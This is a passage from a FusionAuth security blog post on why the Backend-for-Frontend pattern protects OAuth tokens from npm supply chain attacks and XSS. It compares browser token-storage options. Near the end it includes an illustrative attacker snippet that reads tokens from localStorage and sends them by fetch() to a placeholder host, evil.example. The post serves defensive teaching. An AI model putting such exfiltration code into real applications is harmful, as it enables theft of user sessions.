BFF security architecture: Surviving supply chain attacks | FusionAuth/Blog
Light<br>Dark<br>System
Log In
Get a demo<br>Open main menu
Education<br>Security<br>Backend-for-Frontend: The most secure architecture for browser-based apps<br>Learn why Backend-for-Frontend (BFF) is the only auth architecture that survives npm supply chain attacks. Part 1 of 3 in our architecture-driven auth series.
Authors
Kim Maida
Published: April 22, 2026
On September 8, 2025, developer Josh Junon received what looked like a legitimate npm two-factor authentication (2FA) reset email. Within hours, malicious code had been injected into 18 of the most popular npm packages, exposing any application that updated dependencies that day to cryptocurrency theft. The compromised packages — including debug and chalk — receive over 2 billion downloads per week.
Supply chain attacks like this are a wake-up call for anyone shipping JavaScript code to production, especially when it comes to authentication and token storage.
The September 2025 attacks targeted cryptocurrency wallets and CI/CD secrets, but they proved that malicious code in npm packages can steal anything accessible to JavaScript. If these attackers had targeted OAuth tokens in localStorage instead of crypto wallets, millions of user sessions would have been compromised. The attack vector is identical — only the target differs. If your app stores tokens in localStorage, sessionStorage, or even in-memory variables, you are vulnerable.
An emerging standard: OAuth 2.0 for Browser-Based Applications#
OAuth 2.0 was published in October 2012, when Single-Page Applications were just emerging and React hadn't been invented yet. Today's browser applications are complex distributed systems with thousands of dependencies. The OAuth 2.0 for Browser-Based Applications draft describes three architecture patterns for handling auth in modern browser apps, each with different security tradeoffs:
Backend-for-Frontend (BFF): The most secure option, with tokens that never touch the browser.
Token-Mediating Backend (TMB): The option with moderate security and protected refresh tokens.
Browser-Based OAuth Client (BBOC): The least secure option, with all tokens in the browser.
This article, the first in a three-part series, focuses on BFF, the architecture that survives compromised JavaScript Single-Page Applications unscathed. It explores why BFF is an essential standard for modern applications handling sensitive data.
note<br>For a conceptual introduction to BFF patterns, see Dan Moore's excellent overview of BFF. This article focuses on the security implications revealed by recent supply chain attacks and provides a migration path from less secure architectures.
Friends don't let friends store tokens in the browser#
Anything JavaScript can read, an attacker can read.
Where developers store tokens today#
Although Cross-Origin Resource Sharing (CORS) saved web developers from the security nightmare of the OAuth implicit grant (response_type=token), it opened the door to browser apps storing tokens directly in the browser. Not just access tokens, but refresh tokens too. The most common storage options are:
// What most developers do today<br>localStorage.setItem('access_token', token); // Survives refresh, XSS vulnerable<br>sessionStorage.setItem('access_token', token); // Tab-specific, XSS vulnerable<br>this.token = token; // Lost on refresh, poor UX, still XSS vulnerable<br>document.cookie = `token=${token}`; // This creates a JS-readable cookie<br>Compare the options:
Storage optionSurvives refreshSurvives new tabXSS vulnerableCSRF vulnerableNoteslocalStorageYesYesYesNoPersistent across tabssessionStorageYesNoYesNoTab-specificIn-MemoryNoNoYesNoLost on any navigationCookieYesYesYesYesJS-readable cookiehttpOnly CookieYesYesNoYesServer-set only, JS can't read<br>Anything in JavaScript-accessible storage is XSS vulnerable. Only httpOnly cookies (which JavaScript cannot read or set) are protected from XSS attacks.
No browser storage is secure#
The OAuth 2.0 for Browser-Based Applications draft is crystal clear: malicious JavaScript has the same privileges as legitimate application code. Whether through an XSS vulnerability, a compromised third-party library, or a malicious browser extension, if an attacker can run JavaScript in your application's context, they can access anything your application can access.
Tokens stored in any of the following locations can be targeted by attacks:
localStorage and sessionStorage: This attack is called "Single-Execution Token Theft" when run once, and "Persistent Token Theft" when run repeatedly.
// Attacker's malicious code injected into your app<br>const stealTokens = () => {<br>const tokens = {<br>access: localStorage.getItem('access_token'),<br>refresh: localStorage.getItem('refresh_token'),<br>idToken: localStorage.getItem('id_token')<br>};
// Exfiltrate to attacker's server<br>fetch('https://evil.example/steal', {<br>method: 'POST',<br>body: JSON.stringify(tokens)<br>});<br>};
// Run immediately on...